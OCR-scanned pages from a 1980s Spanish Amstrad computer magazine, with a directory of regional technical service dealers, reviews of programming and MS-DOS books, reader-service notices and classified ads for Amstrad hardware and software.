nuel Julian Sanchez. Manuel de Falla, 
28-30. 08034 Barcelona. Tel. (93) 
205 25 09. A.V. 

TECNOLEC, S. A. Jose Garcia. Pi- 
nar del Rio, 48-50. 08027 Barcelona. 
Tel. (93) 340 87 53. A.V. 

TELEVIDEO. Antonio Gutierrez 
Gracia. Travesera de las Corts, 294. 
08029 Barcelona. Tel. (93) 322 23 14. 
A.V. 

P5-QUARK, S. A. Joaquim Paloma- 
res Carbo. Llacuna, 162, local 1. 
08018 Barcelona. Tel. (93) 300 90 12. 
M.l. 

TELESERVICIQ. Fermin Torrebade- 
lla Segret. Avda. de Tudela, 44. Man- 
resa (Barcelona). Tel. (93) 973 97 27. 
A.V.M.I. 

SELCOM MARESME, S. A. Jaime 
Mlnguell Parent. Avda. Maresme, 4, 
31. 08011 Mataro (Barcelona). (93) 
790 28 41. M.l. 

AUDIOVISIO MAJESTIC. Angel Lla- 
sera Blanc. Cristofol de Boleda, 4. 
25006 Lerida. Tel. (973) 26 87 85. 
A.V.M. 

Juan Fernandez Artero. Trinquet 
Veil, 19. 43003 Tarragona. Tel. (977) 
22 71 05. A.V. 


EXTREMADURA 


MEINFOR. Sergio Rodriguez Jime¬ 
nez. Avda. Villanueva, Edit. Stela, 1.° 
entreplanta. 06004 Badajoz. Tel. (924) 
24 18 97. A.V.M.I. 

MEINFOR. Sergio Rodriguez. Ovie¬ 
do, 6, entreplanta. 06800 Merida (Ba¬ 
dajoz). Tel, (924) 30 04 45. A.V.M.I. 


ZENER ELECTRONICA. Hugo Pe¬ 
dro Gonzalez Botto. Juan Castro 
Mosquera, 32, bajo. 15005 La Coruna. 
Tel. (981) 24 85 47. A.V.M.I. 

ELECTRONICA LABARINAS. Fer¬ 
nando Rodriguez Labarinas. Carud, 
90. 27400 Monforte de Lemos (Lugo). 
Tel. (982) 40 13 07. A.V.M. 

SEVYS. Manuel Miguez Hermida. 
Curros Enriquez, 21, inter, galenas. 
32003 Orense. Tel. (988) 23 26 04. 
A.V.M.I. 

SERMICRO, S A. Isidro Rios. Me- 
nendez Pelayo, 37. 36206 Vigo. Tel. 
(986) 29 46 89. M.l. 

VIDEO TECNOLOGIA DO CAMPO. 
Antonio Docampo Comesaha. Ecua¬ 
dor, 8, bajo. 36203 Vigo. Tel. (986) 
42 12 79. A.V.M.I. 


LA RIOJA 


REYMAR. Jesus Elias Reinares 
Saenz. Albia de Castro, 10. 26003 Lo- 
grono. Tel. (941) 24 26 11. A.V.M.I. 


LEVANTE-MURCIA 


ESCRITEC. Juan F. Escribano He- 
nares. Maria Marin, 57. 02004 Albace- 
te. Tel. (967) 23 28 35. A.V.M.I. 

ETE-MADOC. Andr6s Hibernon 
Garcia Morell. Historiador Diago, 12 
bis. 46007 Valencia. Tel (96) 
326 52 01. A.V.M.I. 

APLINSA, Rafael Barrachina. Italia, 
4, bajos. 03003 Alicante. Tel. (965) 
22 26 32: A.V.M.I. 

SAT-VIDEO. Ramon Gil Roche, 
Eduardo Langucha. 17. 03006 Alican¬ 
te. Tel. (965) 10 20 53. A.V.M.I. 

J. ANDREU C. B. Juan Carlos An- 
dreu Segarra. Avda. de Quevedo, 13. 
12004 Castellon, Tel. (964) 20 57 12. 
A.V.M.I. 


ELECTRONICA MUNOZ. Antonio 
Munoz Perez. Canovas del Castillo, 
16. 06800 Merida. Tel. (924) 30 07 85. 
A.V. 

MICROELECTRONICA. Jose Car¬ 
los Pulido Duque. Diego Maria Cre- 
huet, 12, bajo. 10004 Caceres. Tel. 
(927) 24 79 24. A.V.M.I. 

MEINFOR. Sergio Rodriguez Jime¬ 
nez. Avda. Ruta la Plata, 4, edit. Per¬ 
golas, semisbtano 2, local 1.1001 C&- 
ceres. Tel, (927) 21 22 92. A.V.M.I. 


GALICIA 


MASTERHARD, S. L. Manuel More¬ 
no. Magdalena, 213. 15402 El Ferrol 


VIDEO SONIDO, S. A. Enrique Gar¬ 
cia Mayi. Grecia, 1, bajo. 30203 Car¬ 
tagena. Tel. (968) 52 57 51. A.V.M.I. 

A.D.L. ELECTRONICA. Antonio 
Diaz Lopez. Miguel Hernandez, 1. 
30011 Murcia. Tel. (968) 26 52 17. 
A.V.M.I. 

APLINSA. Manuel Martinez. Frene- 
ria, 2. 30004 Murcia. Tel. (968) 
21 61 23. A.V.M.I. 

SERMICRO, S. A. Juan Ignacio Ji¬ 
menez. Miguel de Cervantes Conver. 
1 .* F, bloque 5. 30009 Murcia. Tel. 
(968) 29 44 42. M.l. 

KIT INFORMATICA, S. A. Jose Ma¬ 
ria Babe. Pascual y Genis, 12, 6.° 


SONICROMA, S. C. Francisco J. 
Arribas. Sapporo, 10. 28923 Alcor- 
con. Tel. (91) 612 55 13. A.V.M.I. 

E.D.C., S. A. Antonio Riquelme. 
Mendez Alvaro, 34, edif. 3-4. 28045 
Madrid. Tel. (91) 468 12 22. A.V.M.I. 

ECU ELECTRONICA CUALIFICA- 
DA S. A Juan Pedro Atanes. Plaza 
de Condesa de Gavia. 2. 28003 Ma¬ 
drid. Tel. (91) 233 29 12. A.V.M.I. 

P5-QUARK, S. A. Rafael Portabella. 
Mendez Alvaro, 34. 28045 Madrid. Tel. 
(91) 468 62 62. M.l. 

S.T.O., S. A. Jesus Lorente. Avda. 
Mediterraneo, 7. 28007 Madrid. Tel. 
(91) 551 23 95. A.V.M.I. 

SERMICRO, S. A. Santiago Gonza- 
lo. Avda. Ramon y Cajal, 107. 28043 
Madrid. Tel. (91) 416 80 85. M.l. 

SONICROMA, S. B. Francisco J. 
Arribas. Avda. Padre Piquer, 42. 
28024 Madrid. Tel. (91) 711 0062. 
A.V.M.I. 

VISONIC. Manuel Lozano. Santiago 
de Compostela, 30. 28034 Madrid. 
Tel. (91) 730 66 32. A.V.M.I. 

SERVICIO TECNICO DUAL. Jose A. 
Pavon Ramon. Tintas, 4. 28025 Ma¬ 
drid. Tel. (91) 465 78 99. A.V.M.I. 

VISONIC, S. A. Hilados. 22. Torre- 
jbn de Ardoz. Tel. (91) 676 31 76. 
A.V.M.I. 


NAVARRA 


SONAUTO ELECTRONICA. Carlos 
Labiada Larrea. La Ermita. 5. 31600 
Burlada. Tel. (948) 24 22 46. A.V.M.I. 


PAIS VASCO 


ELECTRONICA GUIPUZCOANA. 
Miguel Guerrero Perez. Avda. Madrid, 
24 (trasera). 20011 San Sebastian. 
Tel. (943) 45 82 90. A.V.M.I. 

IKERPEN, S. A. Pedro Aguinago. 
Reyes de Navarra, 7, 01013 Gasteiz. 
Tel. (945) 28 19 77. A.V.M.I. 

ELECTRONICA ARGI GILTZ. Agus- 
tin Cid Sancho. Autonomia, 24 (gale- 
rias). 4801 2 Bilbao. Tel. (94) 
443 77 93-72 54. A.V.M. 

ELECTRONICA LOGICA. Antonio 
Caro. Licenciado Poza, 40, 1.° dcha. 
48011 Bilbao. Tel. (94) 441 43 69. 
A.V.M.I. 

SERMICRO, S. A. Ulpiano Rodri¬ 
guez. Avda. Madariaga, 20. 48014 Bil¬ 
bao. Tel. (94) 476 06 35. M.l. 
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S IMUL ACION y control de pro- 
cesos por ordenador» es 
una completlsima obra des- 
tinada a una parcela muy especifi- 
ca de los usuarios que utilizan la in¬ 
formatics en su profesidn. No es de 
interes inmediato, si exceptuamos 
el ampliar conocimientos. para 
aquellos otros que no tengan en su 
mano la posibilidad de alteraciones 
y cambios en cadenas de planifica- 
cidn o produccion. 

El libro contiene una serie de pro- 
gramas escritos en Basic con acla- 
raciones de sentencias para iniciar 
al lector en la simulacidn y control 
de procesos bajo dos puntos de vis¬ 
ta: Control Clasico y Control Moder- 
no. En el primero se examinan los 
controladores RID (iniciales de Pro- 
porcionaf Integral-Derivativo) apli- 
cados a procesos simples como la 
presion y el caudal en una tuberia, 
el nivel en un tanque y la tempera- 
tura en un intercambiador. En el se- 
gundo, el Control Moderno, hay un 
especial estudio sobre las ecuacio- 
nes de estado, una potente herra- 
mienta para el estudio.en todos los 
fenomenos que puedan extrapolar- 
se al espacio de estado. Los proce¬ 
sos estudiados se han simplificado 
en lo posible con una ejecucidn de 
prografTias que piden al usuario pa- 
ram'etros que, variandolos, perml- 
ten dar una gran versatilidad en el 
estudio y entrenamiento. 

La obra completa consta de quin¬ 
ce capitulos y un apendice. En el 
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Conceptos de Informatica. 
Peter Bishop. Coleccidn 
Informatica Profesional. 
Anaya Multi media. 

Este libro da una vision deta- 
llada y general de la Informatica 
concisa, exhaustiva, con infor- 
macion actual y vigente, muy 
amplio espectro de uso y gran 
cantidad de ejemplos y ejerci- 
cios. Incluye capitulos sobre te- 
mas avanzados, como Inteligen- 


cia Artificial, Fabricacibn de 
chips, Herramientas de desarro- 
llo de software, Ingenieria del 
software, Sistemas expertos, 
Ordenadores de quinta genera- 
cion, etcetera, que lo hacen 
apropiado para cursos mas 
avanzados, como los impartidos 
en escuelas de ingenieria, y util 
de cara a adquirir conocimientos 
apropiados para la vida profe¬ 
sional y la industria. 
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primer capitulo se examinan los 
conceptos de interes en el estudio 
analitico del control de procesos. 
En el segundo se estudian ejem- 
plos de aplicacidn usando las trans- 
formadas de Laplace. 

En el tercer capitulo se realiza el 
analisis temporal con las respues- 
tas ante un impulso y ante un es- 
caldn de los sistemas de primero y 
segundo orden. En el cuarto capi¬ 
tulo se estudia la descomposicion 
del proceso en bloques y en el quin- 
to el analisis frecuencial. 

El sexto trata a fondo de los di- 
versos criterios de estabilidad ab- 
soluta y relativa. En el septimo se 
concreta la estabilidad de un bucle 
o lazo de control con la obtencion 
del valor de las acciones del con- 
trolador de dos formas: a traves del 
trazado de las curvas de respuesta 
y haciendo uso del ordenador. 

El capitulo octavo acomete el es¬ 
tudio de analisis e identificacion de 
procesos. El noveno analiza los 
metodos practicos de ajuste de las 
acciones del controlador para lo- 
grar la estabilidad del sistema y se 
incluyen diversos programas de si- 
mulacion. En el capitulo decimo se 
detallan las valvulas de control, sus 
caracteristicas y su calculo. El un- 
decimo describe varios tipos de 
control de aplicacion mejorando el 
clasico de retroalimentacion. 

—La segunda parte del libro se ini- 
da erf\el capitulo duodecimo co- 
mentando sobre la transformada 
«Z», que en sintesis es analogs a 
la transformada de Laplace, pero 
aplicada a sistemas discretos. 

Posiblemente, la parte mas im- 


SIMULACION 
Y CONTROL DE 
PROCESOS POR 
ORDENADOR 


ponante de toda la obra se estudie 
en el decimotercero. El espacio de 
estado es de comprension esen 
cial, puesto que permitira al lector 
las simulaciones de procesos in- 
dustriales por complejos que sean 
y solo limitados por el tiempo dis- 
ponible para la creacion del pro 
grama. 

El capitulo decimocuarto exami- 
na las tecnicas de estabilidad de 
Liapunov y los sistemas optimos de 
control. En el ultimo, el numero 
quince, el estudio se centra en si- 
mulacidn y control de procesos tipi 
cos en la industria tales como se- 
caderos, evaporadores. reactores 
discontinuos y columnas de des- 
tilacion. 


Un apendice dedicado al codigo 
de representacion de los instru- 
mentos de control en los diagramas 
de flujo y a una exposicion sobre di- 
versas tecnicas utilizadas cornpleta 
la obra, de 399 paginas. 

A destacar que eh un intento de 
facilitar al lector la ejecucion direc¬ 
ta de los programas, el autor los ha 
grabado en disquete para diversos 
ordenadores del mercado, entre los 
que se encuentran, logicamente, 
los PC. En dos anexos se encuen- 
t ran I as inst rucciones para el uso d e 
dichos disquetes. El libro, sin em¬ 
bargo, esta disponible tambien en 
el mercado sin esta ayuda. 

Manuel Ballestero Santaolalla 



Amstrad User /133 
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I el numero ocho de 
la «Gran Biblioteca 


WW Amstrad» estaba 
dedicado al Basic en ge¬ 
neral, el numero quince lo 
esta al de los CPC y los 
PCW. El hecho de que el 
interprete para los 
CPC 664 y 6128 presen¬ 
te algunas mejoras res- 
pecto ai de los 464 y 472 
hace que estos ultimos 
tengan un apendice al fi¬ 
nal con una (ista de pala- 
bras reservadas que no 
pueden implementar. 

Los poseedores del 
PCW encontraran una 
gran cantidad de texto de¬ 
dicado a el. desde el con- 
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trol y representacion de 
variables hasta el codigo 
maquina, pasando por ta- 
blas de errores y sus 
mensajes, gestion inter¬ 
na, operaciones basicas 
de disco y los ficheros. 

Hay que destacar las 
paginas dedicadas a la 
impresora, en las cuales 
se pueden encontrar ex- 
tensas referencias a los 
codigos de control, el 
paso de linea, los marge- 
nes, los tabuladores, la 
modificacion de posicio- 
nes, el manejo del papel, 
la jnicializaeibn de la im¬ 
presora, los caracteres 
especiales y el modo gra- 
fico. Tambien hay un pro- 
grama en Mallard Basic 


para generar caracteres 
utilizando la impresora en 
modo grafico. 

Tras unos capitulos de- 
dicados a los accesos de 
tipo secuencial y aleato- 
rio, la obra se centra en e! 
Jetsam, sisterna incluido 
en el Basic para manejar 
ficheros de acceso por 
claves. Se compone de 
funciones, asi que no se 
manejan ordenes, sino 
funciones. 

La segunda parte se re¬ 
tire al Basic de los CPC, 
haciendo desde el princi¬ 
ple la salvedad de aue, al 
ser un Basic potentisimo, 
las caracterlsticas de gra- 
ficos y sonido son pasa- 
das por alto, pues se les 
dedicara algun volumen 
de la coleccion en plan 
monografico. El arranque 
sobre los CPC esta en 
torno a la pantalla, tratan- 
do de los modos, las tin- 
tas y las piumas. Tras un 
capitulo dedicado al tecla- 
do, otro a las variables, el 
referente ai uso de la cin- 
ta y el disco desemboca 



MS-DOS 

A toda potencia 

V AN Wolverton, autor 
de «EI libro del Ms- 
Dos”, vuelve al ataque 
con este libro, que supo- 
ne una ampliacion de 
conceptos, obtenclon de 
prestaciones y profundi- 
dad de conocimientos so¬ 
bre la orimera obra. Todo 
su contenido se basa en 
tecnicas avanzadas so¬ 
bre las pusibilidades ya 
vistas y algunas otras que 
se descubren y describen 
en profundidad. 

Comenzando con un 
epigrafe significativo de la 
tendencia del libro («Mas 
alia del nivel basico»), se 
abordan los terminos tec- 
nicos basicos imprescin- 
dibles para el dominio 




en un tema tan poco co- 
nocido como el de las in- 
terrupciones. Se trata de 
una caracterfstica casi 
unica del Basic de Ams¬ 
trad y consiste en la posi- 
bilidad de controlar el mi- 
croprocesador directa- 
mente. Elio nos lleva a los 
cuatro relojes que poseen 
los CPC y que permiten 
un total control sobre el 
desarrollo de cualquier 
programa en tiempo real. 
Erroes y memoria son los 
dos ultimos capitulos que 
dan una clara idea de sus 
utilidades. 

Una buena cantidad de 
listados permite practicar 
con todo lo desarrollado 
para que los incredulos 
queden convencidos. 
Aconsejo muy especial- 
mente este volumen a los 
poseedores del PCW que 
quieran profundizar un 
poco en su maquina, mas 
potente, con toda seguri- 
dad, que lo que ellos mis- 
mos piensan. 


M. B. S. 



casi absoluto sobre el te- 
clado, video, configura- 
cion, impresora y siste- 
mas de proceso por totes, 
nucleo este de toda la 
obra. Comenzando por ei 
teclado, se revisa el jue- 
go de caracteres extendi- 
do. ya que el manual del 
PC lo explica con reser¬ 
ves. Pretende el autor, en 
definitiva, que el acceso 
indirecto a este tipo de 
caracteres no sea impedi¬ 
ment© para su normal uti- 
lizacion por el usuario. y 
para ello anade ademas 
algunos ejemplos que se 
pueden encontrar, como 
todos los demas, en el 
disquete adjunto en el 
pack. 

Continua con la defini- 
cion de teclas y oiras si- 
milares caracterlsticas de 
funciones del teclado ac¬ 
cesses a traves del pro- 
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|"iROGRAMADORES 
en accibn» es una 
serie de entrevistas he- 
chas a diecinueve de las 
mentes en software mas 
importantes del rnomen- 
to. Con el fin de situar al 
lector en el contexto del 
entrevistado, cada capitu- 
lo va precedido de una 
bioqrafia donde se narran 
los hechos y maravillas 
de sus vldas. Solamente 
esas Ifneas ya merece- 
rian la publicacion de un 
libro al estilo del «Quien 
es quien». 

Su autora, Susan Lam- 
mers, no trata de saber 
acerca de proyectos se- 
cretos, ni siquiera opinio- 
nes sobre los espectacu- 
lares avances en la indus- 
tria del software. Lo que 
se pretende, con un por- 
centaje bastante elevado 
de exito, es tratar y discu- 
tir de materias intempora- 
les que se pasan por alto 
en esta frenetica carrera. 
Es casi una filosofia el ha- 
blar de que puede animar 
en la creacion de un sis- 

J — 


tema operative como el 
del Macintosh, un progra- 
ma de aplicacion como el 
Lotus 1-2-3 o un juego 
como el Pac Man el po¬ 
pular Comecocos. 

Una buena idea ha sido 
solicitar a sada entrevis¬ 
tado una muestra de su 
trabajo: un trozo de codi- 
go, un programa, algunos 
bosquejos o garabatos de 
los que se hacen mien- 
tras se piensa en el dise- 
no del programa. Elio en- 
riquece la obra convirtien- 
dola en algo unico al te- 
ner reunidas las muestras 
del momento mas intimo 
de una creacion. Por si 
esto fuera poco hay algu- 
nas que ya tienen valor 
historico, como los apun- 
tes del diseno inicial del 
VisiCalc que aporta Dan 
Bricklin. 

Se ha incluido una va- 
riada gama de edades y 
experiencias, desde los 
cuarentones que comen- 
zaron la revolucion y que 
ahora, en su mayoria, 
esta bien situados, hasta 
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los pensadores mas jove- 
nes y energicos, empena- 
dos en llegar siempre 
mas alia de los iimites 
que hoy conocemos. 

El libro comienza con 
Charles Simonyi, quien 
se inicio en la decada de 
los sesenta con los orde- 
nadores de la serie 
URAL II, de fabricacion 
rusa. Luego pasa a Butler 
Lampson, participe en 
muchos de los descubri 
mienios que llevaron a la 
llamada era del ordena 
dor personal. Tambien 
estan John Warnock; 
Gary Kildall, el hombre 
que desarrollo un sistema 
operativo, el primero, lla- 
mado CPM; Bill Gates y 
su trabajo en el Basic; 



John Page, el creador de 
la primera linea de soft¬ 
ware para uso facil en 
PCs, y asi hasta los die- 
cinueve que componen la 
obra. 

Evidentemente no es¬ 
tan todos los que son, asi 
que en el prologo ya se 
nos anuncia que este vo- 
lumen es tan solo el pri¬ 
mero de una serie que 
puede ser larga, muy lar- 
ga... 


Manuel Ballestero 
Santaolalla 
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grama ANSI, del que tra¬ 
ta en profundidad, para 
permitir al usuario una 
ampliacion de los recur- 
sos del Ms-Dos sobre 
pantalla y teclado. El pro¬ 
grama DEBUG tambien 
tiene su sitio en esta obra, 
donde se destaca la posi- 
bilidad de utilizarlo para 
algo mas que ensamblar 
o desensamlar codigo 
maquina, actuando como 
un editor de caracteristi- 
cas bastante especiales, 
incluso con la posibilidad 
de montajes de progra- 
mas en ensamblador o de 
ficheros ASCII. La parte 
descriptiva termina con 
un amplio tratamiento de 
los archivos de proceso 
por lotes (ficheros-BAT), 
de los que se proporciona 
su estructura de construc- 
cion, claves y tecnicas 
para escribir y depurar 


este tipo de ficheros, y fi- 
nalmente una oculta e in- 
teresante posibilidad: la 
creacion de menus de tra¬ 
bajo y control del disco 
(menus interactivos). 

La segunda parte, auri- 
que con la misma ienden- 
cia descriptiva de la pri¬ 
mera, tiene una marcada 
finalidad: personalizar el 
sistema a gusto del usua¬ 
rio. Para ello es necesa- 
rio como miriimo conocer 
el funcionamiento de al¬ 
gunos programas del sis¬ 
tema, tales como el CON¬ 
FIG o el VDISK. Tras una 
descripcion de la utilidad 
y funcion del programa 
controlador del entorno, 
nos procura la suficiente 
informacion como para la 
preparacion y uso de un 
disco RAM mediante fi¬ 
cheros batch, asi como 
mejora de la creacion de 


estos discos virtuales, 
gracias a otro de los 
ejernplos adjuntos en el 
disquete. 

A la personalizacion de 
pantallas con pequehos 
trucos y curiosidades si- 
gue un importante capitu- 
lo que trata acerca de la 
personalizacion de impre- 
sos, abordando la mayo¬ 
ria de recursos que apor 
ta una impresora, a modo 
de aperri'ice a su manud 
de instrucciones. 

La descripcion del uso 
y posibilidades de mane- 
jo de los ficheros en dis¬ 
co es la unica parte que 
quiza peca de redundan¬ 
ce con el manual de 
nuestro Amstrad, aunque 
no con el de otros compa¬ 
tibles que no hacen una 
descripcion tan exhausti¬ 
ve del sistema operativo. 
Aporta de nuevo progra- 


mas mejorados de bus- 
queda de ficheros, cam- 
bio de directorios, y otras 
funciones mas bien pen- 
sadas para el control del 
disco duro. 

Como compendio de 
todas las ensenanzas del 
libro se propone la crea¬ 
cion de un completo sis¬ 
tema de menus del que 
se anade en el apendice 
un ejemplo. La seccidn 
termina con unas reco- 
mendaciones para alar- 
gar la vida del ordenador 
y de su impresora, 

El apendice, por ultimo, 
contiene manuales de re¬ 
ferenda de las ordenes 
del programa ANSI, ta- 
blas de conversion hexa¬ 
decimal, juego de carac- 
teres y todas esas tablas 
que suelen ser de nece- 
sario manejo. 

Javier Ramis 
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PROGRAMACION DEL Z80 
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Pensando como 
texto educativo y 
como manual comple¬ 
te de consulta, consti- 
tuye una detallada in¬ 
troduction a la progra¬ 
macion en lenguaje 
maquina que va desde 
los conceptos basicos 
hasta las tecnicas y 
estructuras de datos 
mas avanzadas. To- 


dos los conceptos es- 
tan expuestos en ter- 
minos precisos y sen- 
cillos y avanzan de lo 
simple a lo complejo. 
El lector no s6lo 
aprendera a progra- 
mar en el lenguaje del 
Z80, sino que adquiri- 
ra un conocimiento de- 
tallado de su funciona- 
miento real. 


D ESDE su apari- 
cion a finales de 
la decada de los 
setenta, el sistema opera¬ 
tive UNIX se ha converti- 
do en un estandar para 
los modernos microorde- 
nadores de 16 y 32 bits. 
Cada vez son mas los fa¬ 
bricates y usuarios que 
se sirven de el en los 
campos mas diversos y 
van en constante aumen 
to. 

Los creadores del 
UNIX buscaron la facili- 
dad de implementation 
en cualquier tipo de hard 
ware, consiguiendolo con 
el desarrollo de un len¬ 
guaje, conocido como 
«C», y la escritura del nu- 
cleo del UNIX en dicho 
lenguaje, con lo cual uni- 
camente se debe poseer 
un compilador de «C» en 
la maquina donde se de¬ 
sea implementar este sis¬ 
tema operative. 

Este libro comienza ha- 
ciendo un poco de histo- 
ria de UNIX para pasar a 
explicar lo que se encon- 
trara el usuario cuando 
entre en el sistema. El si- 
guiente apartado, el mas 
extenso de toda la obra, 
se refiere al desarrollo de 
los conceptos basicos so- 
bre ficheros y los coman- 
dos para manejarlos. El 
siguiente paso es el estu- 
dio de un comando basi- 
co, el editor de ficheros 
«ED». Explicaciones so- 
bre el resto de los coman- 
dos y unas nociones so- 
bre la estructura interna 
del nucieo del sistema 
conforman el ultimo capi- 


tulo. Para terminar hay 
una amplia tabla de co- 
mandos UNIX, excep* 
tuando aquellos que so- 
brepasan el nivel de un 
usuario medio, con todas 
sus opciones posibles. 
Esta tabla podria servir de 
guia a aquellos que asimi- 
len perfectamente el con- 
texto general del libro. 

La obra entera, al igua! 
que cualquiera otra sobre 
desarroilos de sistemas 
operativos. hay que leer- 
la mas de una vez por la 
simple razon de que la 
complejidad del UNIX re¬ 
quire trabajar con tantos 
conceptos y definiciones 
que es dificil que coinci- 
damos al cien por cien 
con las lineas conducto- 
ras adoptadas en el libro. 

El numero treinta y cin- 
co de la Biblioteca Basica 
Informatica no es una 
sustitucion de los manua- 
les, ni siauiera una initia¬ 
tion al sistema, solo re- 
calca y pone ejemplos de 
los conceptos basicos de 
UNIX para que cualquier 
usuario potential pueda 
llegar a adquirir la con- 
fianza suficiente y conti- 
nuar el estudio y las prac¬ 
tices a otros niveles mas 
complejos. 

Una recomendacion es 
la de no perder de vista 
algun texto sobre el len¬ 
guaje «C» (la propia BBI 
dedica a el su numero 
29), ya que, como he di¬ 
cho antes, no se pueden 
eniender el uno sin el 
otro. 

M. Ballestero 
Santaolalla 















L A Gran Bibioteca 
Amstrad ofrece 
en su numero 5 
un buen libro, aunque con 
un equivoco nombre y 
que le restara ventas con 
toda seguridad. Bajo el tf- 
tulo de «Bases de Datos, 
los bancos de la informa- 
cion” se encuentra un 
sistematico estudio del 
popularfsimo xdBase ll». 
Ignore si existen proble- 
mas editoriales para tra- 
tar del programa llaman- 
doio por su nombre, pero 
de no ser algo por el es- 
tilo todo indica un patina- 
zo de marketing median- 
te el cual aquellos que ad- 
quieran e! libro buscando 
generalidades se sentiran 
engahaaos, y los que de- 
seen conocer el «dBase 
ll» lo descartaran al leer 
la portada. 

Abandonando ya este 
problema, la obra tiene 
una estructura eminente- 
mente practice que co- 
mienza con una sucinta 
explicacibn acerca del 
cada vez mas extendido 
control que la informatica 
ejerce en el manejo de 
grandes volumenes de 
datos y las razones por 
las que un programa, el 
protagonista del” libro, se 
ha convertido ya en un 
clasico dentro de las nu- 
merosas bases de datos 
del mercado. Centrados 
los comentarios en su uso 
con ordenadores Ams¬ 
trad, como era de esperar 
dado el nombre de la co- 
leccion, cada paso es re- 
machado con ejemplos y 
listados para su total 
comprension. 

El primer capitulo que 
ya se refiere al trabajo 
concreto de crear una 
base de datos conduce a 
otros dos referentes a la 
introduccion de datos y a 
su salida. En cada mo¬ 
menta se hacen las opor- 
tunas acotaciones segun 
sea un CPC o un PCW el 
ordenador en el que se 
este trabajando. Con las 
secciones dedicadas a 


Bases de Datos, 
los bancos 

de la informacion 


actualizacibn de ficheros, 
busquedas y clasificacio 
nes, queda terminada la 
parte corespondiente al 
uso inmediato del «dBase 
II”. El resto se orienta 
principalmente al uso per- 
sonalizado y acorde con 
las necesidades en cada 
momenta. 

Las variables de me- 
moria, funciones y fiche¬ 
ros indexados ofrecen un 
estudio mas en profundi- 
dad de las posibilidades 
de este generador de ba 
ses, aclarando conceptos 
de uso casi exclusive del 
programa. La manera de 
conligurarlo de una forma 
espedfica esta tratada en 
el capitulo once y es po- 
siblemente el mas intere- 
sante de todos. Desde un 
punto de vista estricta- 
mente formal, el libro ter- 
mina con un interesante 
apartado sobre diseno en 
pantalla e impresora. Las 
catorce ultimas pbginas 
son consejos y apendices 
con lista de mandates, 6r- 
denes del editor, datos 
generates del «dBase ll>>, 
tipos de ficheros y men- 
sajes de error. 

Como punto final, una 
recomendacion para to- 
dos aquellos que comien- 
zan a tratar con este po- 
tentfsimo programa y les 
falta un punto de arran- 
que para hacer sus fiche¬ 
ros: entre los listados que 
otrece este volumen hay 
uno tan interesante como 
topico en informatica: una 
agenda telefonica. Des- 
glosada en todas sus par¬ 
tes, que pueden funcionar 
independientemente, per- 
mitira conocer con mas 
detalles el «dBase ll» y 
ver soluciones que aplicar 
a otros tipos de archivo. 
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ANAYA 


. ' A rata de un curso 
de Pascal dirigido a 
programadores o estu- 
diantes de ciencias o 
cameras tecnicas que 
deseen imeiarse err la 
Programacion en el 
lenauaje Pascal, estu- 
diando y analizando 
en paralelo la resolu- 
Cl0n de Problemas 
practicos de esfas 
areas. F.n cada capitu"- 
10 se desarrolla una 
aplicacion que ilustra 
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el uso de los concep¬ 
ts de programacion 
introducidos en el mis- 
mo. A todo lo largo del 
lbr °, cada tema de 
programacibn y cada 
aplicacion incluyen 
"casos” o problemas 
analizados en detalle 
que ponen a prueba lo 
aprendido por el estu- 
Qiante y sirven de 
ejemplo de como de- 

nar^ llar al 9°ritmos 
Para los problemas 
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■ iComo mando una carta a la revista? 

Si usted desea enviar una carta a la seccion de 
Correo de la revista debe dirigirse a: 

AMSTRAD USER. «Seccion Correo» 

Aravaca, 22. 28040 MADRID 


5 iDonde me dirijo para asuntos 
relacionados con la suscripcion? 

Para cualquier asunto relacionado con la suscripcion 
debe escribir a: 

AMSTRAD USER. Departamento de suscripciones 
Aravaca, 22. 28040 MADRID 


■ c,C6mo obtengo informacion sobre publicidad? 

Para recibir informacion sobre la insercidn de anuncios 
publicitarios en la revista debe ponerse en contacto con: 
AMSTRAD USER. Publicidad-Revista. Aravaca, 22 
28040 MADRID. Telefono 459 30 01 (Sr. Campos) 


■ iPuedo comprar numeros atrasados? 
Envienos el cupon con los numeros que desea e 
indicandonos la forma de pago, que puede ser por 
talon o giro dirigido a: 


AMSTRAD USER / AMSTRAD ESPANA 
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GOLABORADOR PC 

^QUIERES C0LAB0RAR CON 
AMSTRAD USER? 

Si tienes un AMSTRAD PC 0 
compatible, conoces el sistema 
operativo MS-DOS y ias principa- 
les apiicaciones PC y eres capaz 
de. programar en BASIC, ensam- 
blador, Pascal 0 C, llamanos. 
Tel6fonos (91) 433 38 00-433 41 99. 
Pregunta por Enrique Fernandez 
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COM PRO- VENDO-CAMBIO 


VALENCIA 


VENDO Amslfad CPC 464, 
irnpresora y 400 proqramas. 
Precio: 80.000 pesetas. Todo 
en perferto estado. Telefono 
(96) 524 52 14, de Alicante. 
Tambien vendo por separado. 

VENDO programas muy ba 
ratos para CPC 464. Gena. 
Fernando Martin, Infiltrator 
Frost Byte, Harrier Attack, Trail 
Blacer, M.L.M. 3D, etcetera. 
Jose Angel Talavera Martinez. 
C/. Circunvalacion. Ed. Imal- 
sa I, 2, 52, 20. Benidorm (Ali¬ 
cante. 

VENDO diskettera ae Ams- 
trad sin estrenar, es decir, 
completamente nueva. Por 
25.000 pesetas negociables. 
Telefono 365 89 08. Valencia. 

COMPRO y vendo juegos. 
Vendo Rygar, Wonder Boy 
Dustin, Arkanoid 2, Platoon... 
para CPC 464. Compramos 
ultimas novedades. Llamar al 
teiefono (965) 60 28 00. Pre- 
guntar por Juan Fernando. 
Precio: 200 pesetas. 


NAVARRA 


COMPRO programas. tanto 
de utilidades como juegos para 
PCW 8256. Enviar lista a 
Leoncio Virgos Sotes. Ibarra I 
23. 31200 Estella (Navarra). 


LA RIOJA 


iULTIMO MES! Vendo Blac 
Camp. Turbo Gil Ptunpra, Pla¬ 
toon, El Mundo Perdido y cien 
tos de juegos mas a 75 pese¬ 
tas. Supernovedades. Utilida¬ 
des como DBase II, Super- 
cal II, Discology III, Miniofi- 
le II, Placom, etcetera, a 100 
pesetas. Tambien curso de in¬ 
gles de la escuela de Cambrid 
ge y los mejores educativos. 
Solo CPC disco. David Fer¬ 
nandez Perez. Ollavri, s/n. 
26223 Hormilla (La Rioja). Te¬ 
lefono (941) 36 21 40. 

VENDO CPC 6128 F V. Re 
galo cassette con cables, 1 
joystick y 30 juegos o utilida¬ 
des. Tambien vendo progra¬ 
mas: utilidades a 150 y juegos 
a 75 pesetas. Revistas a mitad 
de precio. Miguel Varea. San 
Fernando, 113, 5.° A. 26300 
Najera (La Rioja). Telefono 
(941) 36 22 55. 


arigon 


VENDO ordenador Atari 
1040 ST, con poco uso y va- 
rios discos con programas, 
monitor monocromo alta reso- 
lucion. Escribir a Feliciano 
